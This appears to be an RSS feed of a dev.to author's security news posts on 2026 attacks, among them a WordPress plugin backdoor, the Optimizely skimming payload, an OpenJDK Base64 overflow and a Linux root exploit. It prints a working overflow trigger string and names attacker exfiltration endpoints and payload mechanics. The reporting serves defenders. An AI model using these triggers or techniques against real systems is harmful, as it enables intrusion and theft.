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    <title>DEV Community: RC</title>
    <description>The latest articles on DEV Community by RC (@randomchaos).</description>
    <link>https://dev.to/randomchaos</link>
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      <title>DEV Community: RC</title>
      <link>https://dev.to/randomchaos</link>
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    <item>
      <title>Identity Continuity Failure in WordPress Plugin Supply Chain Compromise</title>
      <dc:creator>RC</dc:creator>
      <pubDate>Thu, 19 Nov 2026 06:25:30 +0000</pubDate>
      <link>https://dev.to/randomchaos/identity-continuity-failure-in-wordpress-plugin-supply-chain-compromise-2ki6</link>
      <guid>https://dev.to/randomchaos/identity-continuity-failure-in-wordpress-plugin-supply-chain-compromise-2ki6</guid>
      <description>&lt;p&gt;Countdown Timer Ultimate shipped version 2.6.7 on August 8, 2025, with a changelog that read "Check compatibility with WordPress version 6.8.2." The release added 191 lines of code and a PHP deserialization backdoor. The admin class &lt;code&gt;class-anylc-admin.php&lt;/code&gt; went from 473 to 664 lines. It was the first SVN commit from the plugin's new owner.&lt;/p&gt;

&lt;p&gt;The backdoor was three parts working together. A &lt;code&gt;fetch_ver_info()&lt;/code&gt; method called &lt;code&gt;file_get_contents()&lt;/code&gt; against the attacker's server and passed the response straight into &lt;code&gt;@unserialize()&lt;/code&gt;. A &lt;code&gt;version_info_clean()&lt;/code&gt; method then executed &lt;code&gt;@$clean($this-&amp;gt;version_cache, $this-&amp;gt;changelog)&lt;/code&gt;, where the function name and both arguments came out of that unserialized remote data. An unauthenticated REST endpoint registered with &lt;code&gt;permission_callback: __return_true&lt;/code&gt; exposed the trigger to anyone. The remote server picked the function and the arguments, which is an arbitrary function call reachable without a login.&lt;/p&gt;

&lt;p&gt;It sat dormant for eight months.&lt;/p&gt;

&lt;p&gt;On April 5-6, 2026, it ran. The plugin's &lt;code&gt;wpos-analytics&lt;/code&gt; module phoned home to &lt;code&gt;analytics.essentialplugin.com&lt;/code&gt;, downloaded a file called &lt;code&gt;wp-comments-posts.php&lt;/code&gt; (named to pass for the WordPress core file &lt;code&gt;wp-comments-post.php&lt;/code&gt;), and used it to inject a large block of PHP into &lt;code&gt;wp-config.php&lt;/code&gt;. The injected code fetched spam links, redirects and fake pages from a command-and-control server, then served them only to Googlebot. A site owner loading the page in a browser saw nothing wrong.&lt;/p&gt;

&lt;p&gt;The C2 resolution was the interesting part. The injected code resolved its command-and-control domain through an Ethereum smart contract, querying public blockchain RPC endpoints. Seizing or sinkholing a domain does nothing when the attacker can update the contract to point at a new one.&lt;/p&gt;

&lt;p&gt;The site ran daily &lt;code&gt;restic&lt;/code&gt; backups through CaptainCore, which gave the investigation a clean timeline. The researcher who looked into it pulled &lt;code&gt;wp-config.php&lt;/code&gt; from eight backup dates and compared file sizes, binary-search style, to bracket the change. The injection landed on April 6, 2026, between 04:22 and 11:06 UTC, a window of under seven hours. The plugin had been installed since January 2019, and the &lt;code&gt;wpos-analytics&lt;/code&gt; module was there the whole time, running as a genuine analytics opt-in for years before the 2.6.7 release turned it into a delivery vehicle.&lt;/p&gt;

&lt;p&gt;The plugin came from a real business with an eight-year history. Minesh Shah, Anoop Ranawat and Pratik Jain, an India-based team, built it under the name "WP Online Support" starting around 2015, later rebranded to "Essential Plugin," and grew the catalogue past 30 free plugins with premium versions. By late 2024 revenue had fallen 35 to 45 percent, and Shah listed the whole business on Flippa. A buyer known only as "Kris," with a background in SEO, crypto and online gambling marketing, bought everything for six figures. Flippa published a case study on the sale in July 2025.&lt;/p&gt;

&lt;p&gt;On April 7, 2026, the WordPress.org Plugins Team permanently closed every plugin under the Essential Plugin author, at least 30 of them in a single day: Countdown Timer Ultimate, Popup Anything on Click, WP Testimonial with Widget, Hero Banner Ultimate, Product Categories Designs for WooCommerce, and the rest of the slider, gallery and widget catalogue. The author search now returns nothing, and &lt;code&gt;analytics.essentialplugin.com&lt;/code&gt; answers with &lt;code&gt;{"message":"closed"}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This is the Display Widgets attack again, at a larger scale. In 2017 a buyer using the name "Daley Tias" bought Display Widgets, which had 200,000 installs, for $15,000 and used it to inject payday loan spam. That buyer went on to compromise at least nine plugins the same way. The Essential Plugin version runs the same play against a catalogue with hundreds of thousands of active installations.&lt;/p&gt;

&lt;p&gt;The acquisition cleared WordPress.org with no review. The Flippa listing was public, and so was the buyer's marketing background. WordPress.org has no change-of-control review on a plugin sale, no notification to the sites running the plugin, and no additional code review when a new committer takes over SVN access. The new owner inherited commit rights to code on hundreds of thousands of sites, and the first thing those rights were used for was the backdoor. Eight months passed between the plant and the catch.&lt;/p&gt;

&lt;p&gt;WordPress.org's forced update to 2.6.9.1 added &lt;code&gt;return;&lt;/code&gt; statements to the phone-home functions, which stops the current payload but leaves the entire &lt;code&gt;wpos-analytics&lt;/code&gt; module in place. The researcher's patched builds remove the module directory outright, delete the loader from the main plugin file, and bump the version with a &lt;code&gt;-patched&lt;/code&gt; suffix; the plugins keep working. Across one managed fleet, 12 of the 26 affected slugs turned up on 22 sites, 10 of which got patched builds published on Backblaze B2.&lt;/p&gt;

&lt;p&gt;If you run WordPress at any scale, search your fleet for the Essential Plugin slugs and patch or remove anything you find. To strip the module by hand: delete the &lt;code&gt;wpos-analytics/&lt;/code&gt; directory, remove the loader block from the main plugin PHP file (search for "Plugin Wpos Analytics Data Starts" or &lt;code&gt;wpos_analytics_anl&lt;/code&gt;), bump the &lt;code&gt;Version:&lt;/code&gt; header, and reinstall the zip with &lt;code&gt;wp plugin install your-plugin-patched.zip --force&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Then read &lt;code&gt;wp-config.php&lt;/code&gt; directly. The injected payload sits after &lt;code&gt;require_once ABSPATH . 'wp-settings.php';&lt;/code&gt;, near the end of the file where a quick glance skips over it. It adds roughly 6KB. A &lt;code&gt;wp-config.php&lt;/code&gt; noticeably larger than you expect means the site was actively compromised and needs a full cleanup, not just a clean copy of the plugin.&lt;/p&gt;

</description>
      <category>wordpress</category>
      <category>supplychainattack</category>
      <category>pluginsecurity</category>
      <category>backdoor</category>
    </item>
    <item>
      <title>CISA flags exploited Puppet bug enabling CA key theft</title>
      <dc:creator>RC</dc:creator>
      <pubDate>Wed, 18 Nov 2026 22:25:40 +0000</pubDate>
      <link>https://dev.to/randomchaos/cisa-flags-exploited-puppet-bug-enabling-ca-key-theft-3l9i</link>
      <guid>https://dev.to/randomchaos/cisa-flags-exploited-puppet-bug-enabling-ca-key-theft-3l9i</guid>
      <description>&lt;p&gt;CISA added CVE-2026-115731 to its Known Exploited Vulnerabilities catalog on Tuesday, citing reports of active exploitation. The flaw rates 9.4 on CVSS and sits in Perforce Puppet, a configuration management platform that often has full access to a fleet of systems.&lt;/p&gt;

&lt;p&gt;The bug is a deserialization of untrusted data in Puppet's report-processing code. CISA's writeup describes the path precisely: a client holding any CA-signed agent certificate can submit a report with a crafted rich-data type through a PUT request and execute arbitrary code on the Puppet Server as the service user. The certificate requirement reads like a barrier until you consider how Puppet CAs are usually run. If the CA automatically signs requests without strong verification, an unauthenticated attacker on the network can obtain a valid certificate and then reach the vulnerable code. Autosigning is common in fleets that provision hosts dynamically, which turns a client-authenticated bug into an unauthenticated one.&lt;/p&gt;

&lt;p&gt;What makes this worth dropping everything for is where the code runs. Neodyme AG, whose researcher Alain Rödel reported the flaw, put the consequence plainly: "an attacker with RCE on a Puppet server can grab the CA signing keys and impersonate other hosts." The exact blast radius depends on the server configuration and which orchestration protocols are enabled, but the CA key theft holds regardless. Puppet typically runs with full access to a fleet of systems, so code execution on the server opens the door to ransomware deployment, mass data exfiltration, and lateral movement, in Neodyme's framing.&lt;/p&gt;

&lt;p&gt;Affected versions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Puppet Enterprise 2026.0.0 before 2026.0.1&lt;/li&gt;
&lt;li&gt;Puppet Enterprise 2025.0.0 before 2025.12.1&lt;/li&gt;
&lt;li&gt;Puppet Enterprise 2023.8.0 before 2023.8.13&lt;/li&gt;
&lt;li&gt;Puppet Core 9.0.0 before 9.1.3&lt;/li&gt;
&lt;li&gt;Puppet Core 8.x before 8.22.2&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Perforce shipped fixes on November 3 in Puppet Enterprise 2026.0.1 (Puppet Core 9.1.3), 2025.12.1 and 2023.8.13 (both Puppet Core 8.22.2), and standalone Puppet Core 9.1.3 and 8.22.2. OpenVox, the open-source Puppet implementation, is affected too and is fixed in OpenVox Agent 9.3.0 and 8.32.0, and OpenVox Server 9.2.0 and 8.18.0.&lt;/p&gt;

&lt;p&gt;Rödel also reported CVE-2026-115732, a certificate-name authorization bypass rated 9.0 that affects both Puppet and OpenVox. Neodyme says both issues were found with AI assistance and precise steering. If you are patching one, patch both.&lt;/p&gt;

&lt;p&gt;Patching the server binary is the obvious step, and the one FCEB agencies are bound to under BOD 26-04, with a deadline of December 1. Two things deserve attention beyond the version bump. First, the autosign configuration: a CA that signs certificate requests without strong verification is one way an unauthenticated attacker can obtain a valid certificate and reach this bug, and it is worth auditing whether or not you have patched. Second, if you have reason to think a server was hit, patching does not undo a stolen CA key. The researchers' own warning is that RCE lets an attacker walk off with the CA signing material and impersonate other hosts, so incident response has to consider rotating the CA, not just updating the package.&lt;/p&gt;

&lt;p&gt;There are no public details yet on how the flaw is being used in the wild. The signal that it is comes from a Reddit user, transdimensia, who wrote on November 4 that they traced a 115731 intrusion backward after finding a severely misconfigured CA in their fleet.&lt;/p&gt;

</description>
      <category>puppet</category>
      <category>cisakev</category>
      <category>vulnerability</category>
    </item>
    <item>
      <title>Sixty-four A's and an equals sign break OpenJDK's Base64</title>
      <dc:creator>RC</dc:creator>
      <pubDate>Wed, 18 Nov 2026 06:25:49 +0000</pubDate>
      <link>https://dev.to/randomchaos/sixty-four-as-and-an-equals-sign-break-openjdks-base64-129i</link>
      <guid>https://dev.to/randomchaos/sixty-four-as-and-an-equals-sign-break-openjdks-base64-129i</guid>
      <description>&lt;p&gt;Sixty-four &lt;code&gt;A&lt;/code&gt; characters and a trailing &lt;code&gt;=&lt;/code&gt; are enough to write past the end of an array inside OpenJDK's Base64 decoder. Calif published the bug as Java4Shell (CVE-2026-114938) and scores it 9.2 under CVSS 4.0. On older OpenJDK 17 the trigger is 128 &lt;code&gt;A&lt;/code&gt;s followed by &lt;code&gt;=&lt;/code&gt; instead of 64.&lt;/p&gt;

&lt;p&gt;The trigger string:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The decoder's fast path uses AVX-512 VBMI instructions on supported x86-64 processors to decode many bytes at once, and the bug lives in the hand-rolled assembly that handles the final characters. For that 65-byte input, OpenJDK allocates a 50-byte output array, decodes the first 64 characters cleanly, then mishandles the stray &lt;code&gt;=&lt;/code&gt; and computes a negative output length. The negative length becomes a full 64-byte write, pushing 62 bytes past the end of the array. The runtime rejects the input a moment later, but by then neighboring heap objects may already be corrupted. Depending on what sits next to that array, the corruption can disclose memory the way Heartbleed did or be steered into remote code execution.&lt;/p&gt;

&lt;p&gt;Base64 decoding runs almost anywhere a Java service parses input: authentication tokens, file uploads, network messages. Calif demonstrated pre-auth RCE in default configurations of Keycloak, Atlassian Jira, Atlassian Confluence, JFrog Artifactory, Jenkins, and PingFederate. Post-auth RCE worked against Apache Kafka brokers, Apache Solr, Elasticsearch, Gerrit, and Spinnaker. They also got code execution in sample applications built on Apache Struts and Spring Boot. The lists are explicitly non-exhaustive; any endpoint that base64-decodes attacker-controlled bytes is a candidate.&lt;/p&gt;

&lt;p&gt;The client-side case deserves equal attention. samczsun supplied an exploit in which a Java program that opens a TLS connection to a malicious server is compromised, even though it exposes no service of its own. Outbound connections are attack surface here, which pulls batch jobs, crawlers, and internal clients into scope alongside the obvious servers.&lt;/p&gt;

&lt;p&gt;One detail bounds the exposure. The vulnerable routine is the AVX-512 VBMI optimization, so it only executes on x86-64 hosts whose CPUs support that instruction set. Hosts without it take a different decode path. That narrows the affected fleet, though not in a way you can rely on across mixed hardware.&lt;/p&gt;

&lt;p&gt;There is no single universal exploit. Calif notes that depending on how an application uses Base64 and how it behaves, different steps may be required for exploitation. The trigger itself is trivial, but turning the corruption into memory disclosure or code execution takes careful exploitation.&lt;/p&gt;

&lt;p&gt;For remediation, track your OpenJDK vendor's advisory for the fixed build and patch the runtime rather than individual applications; the flaw is in the JDK, not in Keycloak or Kafka. Prioritize internet-facing pre-auth targets from the list, then anything that accepts uploads or federated authentication.&lt;/p&gt;

&lt;p&gt;Calif says one of its researchers found the bug in an hour and had a working exploit two hours later, for under $200 in AI token costs, using AI agents to drive exploitation pipelines it had set up in advance. The framing the company hangs on that result, the "centaur hacker" and a pitch for AI-assisted dead-code removal it calls "vibe-uncoding," is its own. The operational fact is that a trivially triggered heap overflow sits in a core JDK routine, with exploits already demonstrated against widely deployed applications, and the input that proves it is 65 bytes long.&lt;/p&gt;

</description>
      <category>openjdk</category>
      <category>java4shell</category>
      <category>rce</category>
    </item>
    <item>
      <title>On 16 November, Optimizely served malicious JavaScript to 178 sites</title>
      <dc:creator>RC</dc:creator>
      <pubDate>Tue, 17 Nov 2026 22:25:32 +0000</pubDate>
      <link>https://dev.to/randomchaos/on-16-november-optimizely-served-malicious-javascript-to-178-sites-mp3</link>
      <guid>https://dev.to/randomchaos/on-16-november-optimizely-served-malicious-javascript-to-178-sites-mp3</guid>
      <description>&lt;p&gt;On 16 November 2026, malicious JavaScript was served to visitors of 178 organisations through Optimizely Web, the A/B testing and experimentation platform. The customer list reads like a traffic-ranking leaderboard: Zoom, the BBC, CNN, Salesforce, GitLab, IKEA, HSBC, Equifax, Air France-KLM, Ledger and Peacock. Optimizely's own properties, &lt;a href="http://www.optimizely.com" rel="noopener noreferrer"&gt;www.optimizely.com&lt;/a&gt; and login.optimizely.com, carried the code too. Report URI, which documented the incident, counted 188 infected snippets across those 178 organisations, all serving the same payload for most of the day.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the code lived
&lt;/h2&gt;

&lt;p&gt;Optimizely Web has each customer load a JavaScript snippet from Optimizely's CDN, something like &lt;code&gt;https://cdn.optimizely.com/js/6395285578973184.js&lt;/code&gt;. That snippet bundles Optimizely's own code, the customer's configured experiments, and an optional field called Project JavaScript: custom code the customer writes in their dashboard that runs on every page. The attacker wrote into that field. Everything else in each snippet was untouched, and the file was still served from cdn.optimizely.com under Optimizely's certificate, from a host every affected site already trusted.&lt;/p&gt;

&lt;p&gt;What landed in Zoom's snippet was a short loader that appended a script tag pointing at &lt;code&gt;https://1688360.cc/track.js&lt;/code&gt;. Report URI saw three variants: the plain script tag, the same URL hidden in base64 and decoded with &lt;code&gt;atob()&lt;/code&gt; so a text search for the domain would miss it, and a full inline copy of the payload that runs through &lt;code&gt;eval&lt;/code&gt; if 1688360.cc is blocked. Smartsheet's snippet was cleaned at one point and then re-infected with the base64 version, which means whoever did this kept write access after the first cleanup.&lt;/p&gt;

&lt;p&gt;How the attacker got write access to so many unrelated customer projects is the open question. Report URI is explicit that the CDN served exactly what it was given, so this was not cache poisoning. A compromised Optimizely system, a leaked credential with cross-customer reach, or something else: that is for Optimizely to explain, and at the time of writing it had acknowledged the incident on its status page without stating the cause.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the payload did
&lt;/h2&gt;

&lt;p&gt;Every visitor received the same &lt;code&gt;track.js&lt;/code&gt;, and every function in it was active at once. What a given visitor experienced depended on their device and what they did on the page.&lt;/p&gt;

&lt;p&gt;The money-making function was crypto address swapping. The script scans the page for valid wallet addresses across BTC, ETH and EVM chains, TRON, Solana, TON, Litecoin, Bitcoin Cash and Dogecoin, validates their checksums so it only touches real ones, and replaces them with the attacker's. It swaps in page text, form fields, links and images, in the clipboard on copy and through &lt;code&gt;navigator.clipboard&lt;/code&gt;, and in outgoing fetch and XHR requests, &lt;code&gt;window.open&lt;/code&gt;, navigation and the iOS share sheet. It re-scans whenever the page changes. Copy an address from any affected page, or from anywhere else while that tab is open, and you can paste the attacker's instead.&lt;/p&gt;

&lt;p&gt;Card skimming was added at 13:43 UTC. The script watches form submissions and every fetch/XHR POST for a Luhn-valid card number, an expiry and a CVV, and when it has all three it ships them to &lt;code&gt;1688360.cc/card.php&lt;/code&gt; with &lt;code&gt;navigator.sendBeacon&lt;/code&gt;. Cards typed into hosted payment iframes like Stripe or Adyen were out of reach. Cards typed into a site's own form fields were not.&lt;/p&gt;

&lt;p&gt;It also stole cookies and screenshots. When it swapped an address near wallet or payment wording, it sent the page URL, &lt;code&gt;document.cookie&lt;/code&gt; (everything not marked HttpOnly), the original addresses it replaced, and an html2canvas screenshot of the page to &lt;code&gt;1688360.cc/hit.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;On iPhones and iPads the script loaded &lt;code&gt;boot.js&lt;/code&gt; from two &lt;code&gt;.icu&lt;/code&gt; domains, read the iOS version, and dropped the Coruna and DarkSword exploit chains into a hidden iframe. The kit's own comments say iOS 18.7.3 and later, and 26.3 and later, are patched. Devices on 18.6 or earlier reload the page every 60 seconds to retry the exploit, which is a visible symptom. Report URI notes the Coruna loader was byte-identical to a sample it analysed in October from a different campaign.&lt;/p&gt;

&lt;h2&gt;
  
  
  The money and the earlier operations
&lt;/h2&gt;

&lt;p&gt;By 19:25 UTC the attacker's wallets had taken about $7,040, all within roughly nine hours. Funds were swept between 13:03 and 13:05 UTC, and the USDC on Ethereum went to a HitBTC deposit address. The TRON wallet has been active since March 2026. When the attacker emptied everything early on 17 November, 116 USDT went to an address previously used to cash out operations in March and on 3 November 2026, which is how Report URI ties this actor to earlier activity. The on-chain figure covers crypto only. There is no visibility into how many cards, cookies or iOS devices were hit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where CSP helped
&lt;/h2&gt;

&lt;p&gt;Report URI crawled 256 of the affected organisations' own hosts and checked their Content Security Policy against what the payload needed. Allowing cdn.optimizely.com made no difference, because the malicious code arrived from that trusted host. What protected the 24 covered sites was a restrictive &lt;code&gt;script-src&lt;/code&gt; that lists only the hosts a page actually needs, which blocks 1688360.cc outright.&lt;/p&gt;

&lt;p&gt;Two common settings let it through anyway. &lt;code&gt;'strict-dynamic'&lt;/code&gt; trusts any script the Optimizely snippet inserts, including the loader. &lt;code&gt;'unsafe-eval'&lt;/code&gt;, which Optimizely's own documentation tells customers to allow, let the inline fallback run through &lt;code&gt;eval&lt;/code&gt; even where &lt;code&gt;track.js&lt;/code&gt; was blocked. That is what happened at HSBC: its CSP blocked &lt;code&gt;track.js&lt;/code&gt; and the data theft, but the inline copy still executed. A further 17 sites blocked the card, cookie and screenshot exfiltration with a tight &lt;code&gt;connect-src&lt;/code&gt;, though that does nothing for address swapping, which happens entirely inside the page.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to do now
&lt;/h2&gt;

&lt;p&gt;If you run Optimizely Web, open every project's Project JavaScript and every experiment's custom code and look for 1688360.cc, &lt;code&gt;atob(&lt;/code&gt;, or anything you did not write. Review who and what holds write access, including users, API tokens and integrations, and rotate those credentials; the Smartsheet re-infection shows the attacker survived at least one cleanup. Treat any card typed into your own form fields on 16 November as exposed, along with any session token or secret held in a non-HttpOnly cookie. Serving the snippet from your own domain did not help, since the content still comes from the same Optimizely project.&lt;/p&gt;

&lt;p&gt;If you visited an affected site that day, update iOS to 18.7.3 or 26.3 or later, confirm that any crypto address you pasted matches the one you meant to pay, and watch your card statements.&lt;/p&gt;

&lt;p&gt;The attacker's infrastructure is being dismantled. 1688360.cc, the payload and collection server, went on clientHold at 00:37 UTC on 17 November and no longer resolves; webshell.lol, the injector from an earlier wave through Kissmetrics, StorifyMe and Minute Media, followed at 03:37 UTC. Block all attacker domains including subdomains. For anyone reconciling transactions, the primary wallets are BTC &lt;code&gt;19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW&lt;/code&gt;, ETH/EVM &lt;code&gt;0xC4026b06D82b0F0B363eda0642D61CfbDc17884e&lt;/code&gt; and TRON &lt;code&gt;THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa&lt;/code&gt;.&lt;/p&gt;

</description>
      <category>supplychainattack</category>
      <category>optimizely</category>
      <category>webskimming</category>
      <category>csp</category>
    </item>
    <item>
      <title>A CVE number, a label, and nothing else</title>
      <dc:creator>RC</dc:creator>
      <pubDate>Tue, 17 Nov 2026 06:25:31 +0000</pubDate>
      <link>https://dev.to/randomchaos/a-cve-number-a-label-and-nothing-else-5bph</link>
      <guid>https://dev.to/randomchaos/a-cve-number-a-label-and-nothing-else-5bph</guid>
      <description>&lt;p&gt;A 732-byte Python script that imports only &lt;code&gt;os&lt;/code&gt;, &lt;code&gt;socket&lt;/code&gt;, and &lt;code&gt;zlib&lt;/code&gt; from the standard library turns any unprivileged local user into root on every mainstream Linux distribution built since 2017. That is CVE-2026-31431, published as Copy Fail on 2026-04-29. The same exploit binary works unmodified across distributions, and the published run shows four distributions giving up four root shells in one take.&lt;/p&gt;

&lt;p&gt;The bug is a single logic flaw in the kernel's authencesn handling, reached through the AF_ALG crypto socket interface and driven with &lt;code&gt;splice()&lt;/code&gt; into a 4-byte write to a page-cache page. It is a straight-line logic error, so it does not depend on winning a race or knowing a kernel-specific offset, which is why one script covers roughly nine years of kernels. The exploit edits the page cache of a setuid binary (&lt;code&gt;/usr/bin/su&lt;/code&gt; by default, or another passed as &lt;code&gt;argv[1]&lt;/code&gt;), so the next &lt;code&gt;su&lt;/code&gt; returns a root shell. That page-cache edit does not survive a reboot, but the root shell it gives you is real.&lt;/p&gt;

&lt;p&gt;Root cause is a 2017 in-place optimization in &lt;code&gt;algif_aead&lt;/code&gt; that allowed page-cache pages to land in the writable destination scatterlist. AF_ALG is a userspace front door to the in-kernel crypto API, and it ships enabled in essentially every mainstream distribution's default config, so the entire window from 2017 to the patch is exploitable out of the box. The only precondition is an unprivileged local account, with no network access, kernel debugging features or pre-staged primitives required.&lt;/p&gt;

&lt;p&gt;The page cache is shared across the whole host, so inside containers this crosses tenant boundaries: a pod with the right primitives can compromise the node. That puts shared-kernel infrastructure at the top of the list. Shared dev boxes, jump hosts, build servers and shell-as-a-service let any user become root. CI runners that execute untrusted pull-request code as a regular user (self-hosted GitHub Actions runners, GitLab runners, Jenkins agents) let a PR become root on the runner. Notebook hosts, agent sandboxes, serverless functions and any tenant-supplied container let a tenant become host root. Single-tenant production where only your team has shell is a lower tier, where this is an internal privilege step-up that chains with a web RCE or stolen credentials.&lt;/p&gt;

&lt;p&gt;Patch to a kernel package that includes mainline commit &lt;code&gt;a664bf3d603d&lt;/code&gt;, which reverts the 2017 optimization so page-cache pages can no longer reach the writable destination scatterlist. Most major distributions are shipping the fix.&lt;/p&gt;

&lt;p&gt;Before you can patch, disable the module:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# echo "install algif_aead /bin/false" &amp;gt; /etc/modprobe.d/disable-algif.conf&lt;/span&gt;
&lt;span class="c"&gt;# rmmod algif_aead&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For most systems this breaks nothing measurable. dm-crypt/LUKS, kTLS, IPsec/XFRM, in-kernel TLS, SSH, the kernel keyring, and default builds of OpenSSL, GnuTLS and NSS all call the in-kernel crypto API directly and never touch AF_ALG. What can break is userspace that was explicitly pointed at AF_ALG: OpenSSL with the afalg engine turned on, some embedded crypto-offload paths, and applications that bind aead/skcipher/hash sockets directly. Confirm with &lt;code&gt;lsof | grep AF_ALG&lt;/code&gt; or &lt;code&gt;ss -xa&lt;/code&gt; before you pull the module. Anything that was using it falls back to a normal userspace crypto library, which is what nearly everything else already does.&lt;/p&gt;

&lt;p&gt;For untrusted workloads (containers, sandboxes, CI), block AF_ALG socket creation with seccomp whether or not the host is patched. That removes the attack surface without depending on kernel version.&lt;/p&gt;

&lt;p&gt;The disclosure moved quickly: reported to the kernel security team on 2026-03-23, patch committed to mainline on 2026-04-01, CVE assigned 2026-04-22, public on 2026-04-29. Xint Code says it surfaced the flaw with about an hour of scan time against the kernel's &lt;code&gt;crypto/&lt;/code&gt; subsystem. The PoC is published (sha256 &lt;code&gt;a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9&lt;/code&gt;) so you can verify your own hosts and confirm a vendor patch actually closes it; run it only on systems you own or are authorized to test, and not on production.&lt;/p&gt;

</description>
      <category>linuxkernel</category>
      <category>privilegeescalation</category>
      <category>vulnerability</category>
    </item>
    <item>
      <title>Apache patched a 9.8 HTTP/2 flaw November 14</title>
      <dc:creator>RC</dc:creator>
      <pubDate>Mon, 16 Nov 2026 22:25:07 +0000</pubDate>
      <link>https://dev.to/randomchaos/apache-patched-a-98-http2-flaw-november-14-22ek</link>
      <guid>https://dev.to/randomchaos/apache-patched-a-98-http2-flaw-november-14-22ek</guid>
      <description>&lt;p&gt;A remote attacker who can reach an Apache HTTP Server with HTTP/2 turned on can run code on it without authenticating and take full control of the server process. The bug is in mod_http2, tracked as CVE-2026-119618, and it affects versions 2.4.55 through 2.4.70. The fix is 2.4.71, released November 14. Red Hat, which ships Apache as part of Red Hat Enterprise Linux, rates it 9.8 out of 10 on CVSS.&lt;/p&gt;

&lt;p&gt;Red Hat's assessment says public research has demonstrated a reliable exploit against a server in its default configuration with mod_http2 enabled, though it does not name or link that research. Wiz, publishing the same day, said no exploit was available and no exploitation in the wild had been reported. With one vendor describing a working exploit, patch on the assumption that one exists.&lt;/p&gt;

&lt;h2&gt;
  
  
  Whether you're exposed
&lt;/h2&gt;

&lt;p&gt;HTTP/2 only runs where the &lt;code&gt;Protocols&lt;/code&gt; directive turns it on. &lt;code&gt;h2&lt;/code&gt; is HTTP/2 over TLS, &lt;code&gt;h2c&lt;/code&gt; is HTTP/2 over plain TCP. The directive can be set server-wide or inside a single virtual host, so check the server-wide configuration and every vhost. If neither token appears anywhere, the server is not affected.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix path
&lt;/h2&gt;

&lt;p&gt;If you run the Apache HTTP Server project's own releases, move to 2.4.71. That release also fixes a crash in mod_md, rated important, and a one-byte stack overwrite in mod_vhost_alias, rated low.&lt;/p&gt;

&lt;p&gt;Distributions ship their own builds with their own version numbers, so the project version is not what you check on a packaged system. On Red Hat Enterprise Linux 9 the fix ships as mod_http2-2.0.26-7.el9_9.1. Red Hat shipped fixes for RHEL 9 and 10 on November 14 and rates the flaw Important on those releases rather than Critical: its packages give each HTTP/2 stream its own memory allocator, which it says makes the attack much harder. RHEL 8 and earlier do not contain the vulnerable code. Debian's status is in its security tracker and Amazon Linux's in the Amazon tracker. Ubuntu's CVE tracker had no page for the flaw as of November 15.&lt;/p&gt;

&lt;p&gt;The standalone build of the module, published on GitHub as mod_h2, is affected from 2.0.8 through 2.0.42. No fixed release has been published so far. The repository has been read-only since it was archived on June 9, and its release list ends at 2.0.42, the last affected version.&lt;/p&gt;

&lt;h2&gt;
  
  
  If you can't update yet
&lt;/h2&gt;

&lt;p&gt;The Apache advisory offers no workaround. Wiz's guidance for anyone who cannot update is to remove &lt;code&gt;h2&lt;/code&gt; and &lt;code&gt;h2c&lt;/code&gt; from the &lt;code&gt;Protocols&lt;/code&gt; directive and leave &lt;code&gt;Protocols http/1.1&lt;/code&gt;. That drops HTTP/2 support but closes the exposure, and it applies to servers running the archived mod_h2 builds too.&lt;/p&gt;

&lt;p&gt;Patching the previous HTTP/2 flaw does not cover this one. CVE-2026-23918 was fixed in 2.4.67 on May 4; a server on any version from 2.4.67 through 2.4.70 is still in the vulnerable range for CVE-2026-119618.&lt;/p&gt;

&lt;p&gt;The flaw was reported to the project on October 26 by Anthropic's OSS Scanner, a free scanning service for open-source projects that runs on the company's AI models, and again last week by Anthony Weems and Simon Scannell of Google Cloud Vulnerability Research.&lt;/p&gt;

</description>
      <category>apache</category>
      <category>http2</category>
      <category>rce</category>
      <category>cve2026119618</category>
    </item>
    <item>
      <title>October 2025 CLFS mitigation becomes a SYSTEM exploit</title>
      <dc:creator>RC</dc:creator>
      <pubDate>Mon, 16 Nov 2026 06:25:01 +0000</pubDate>
      <link>https://dev.to/randomchaos/october-2025-clfs-mitigation-becomes-a-system-exploit-3job</link>
      <guid>https://dev.to/randomchaos/october-2025-clfs-mitigation-becomes-a-system-exploit-3job</guid>
      <description>&lt;p&gt;Microsoft shipped a mitigation in October 2025 to shut down a wave of authentication attacks against the Common Log File System (CLFS) driver. Security researcher Abdelhamid Naceri, who goes by Nightmare Eclipse, says that mitigation is now the vulnerability. His exploit, SignDrop, turns the defense into a local privilege escalation to SYSTEM.&lt;/p&gt;

&lt;p&gt;Naceri credits the mitigation with working: he says attacks exploiting CLFS vulnerabilities dropped sharply after it landed. The problem is in the mechanism itself. The mitigation creates an authentication file (&lt;code&gt;.cnpf&lt;/code&gt;) whenever CLFS creates a new log file. According to Naceri, CLFS enforces the access checks correctly at the start, but the logic can be abused when a different, privileged process later opens the log file. CLFS creates the authentication file with the original file's access permissions, and when a SYSTEM-level process does the opening, the file is created in that context.&lt;/p&gt;

&lt;p&gt;The part that lifts this above a routine privilege escalation is what it does to endpoint security. Naceri says privileged processes such as Windows Defender can be forced to open the files. From the perspective of an antimalware engine's kernel drivers, the file-creation request comes from the engine's own legitimate process, so it passes tamper protection.&lt;/p&gt;

